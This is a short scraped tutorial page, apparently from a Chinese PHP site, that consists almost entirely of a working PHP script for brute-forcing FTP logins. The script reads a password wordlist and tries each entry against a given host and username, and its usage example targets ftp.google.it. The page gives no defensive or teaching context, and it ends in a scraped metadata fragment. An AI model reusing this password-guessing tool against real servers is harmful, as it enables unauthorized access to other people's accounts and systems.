FTP暴力PHP版_PHP教程
时间:2021-07-01 10:21:17
帮助过:33人阅读
$sito = $argv[1];
$username = $argv[2];
$lista = $argv[3];
if((isset($sito)) AND (isset($lista)) AND (isset($username))){
if (file_exists($lista)){
$lista = file($lista);
$connessione = ftp_connect($sito) or die("Impossibile stabilire una connessione a $sito");
foreach($lista as $passwd){
if(@ftp_login($connessione, $username, $passwd)){
die(" [Successo] - $passwd");
} else {
print "[Fallito] - $passwd
";
}
}
ftp_close($connessione);
} else
die("Lista per il brute force assente");
} else
die("Us php
.php
Esempi php brute.php ftp.google.it admin /root/list.txt");
?>
http://www.bkjia.com/PHPjc/508462.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/508462.htmlTechArticle?php $sito = $argv[1]; $username = $argv[2]; $lista = $argv[3]; if((isset($sito)) AND (isset($lista)) AND (isset($username))){ if (file_exists($lista)){ $lista = file($lista); $conn...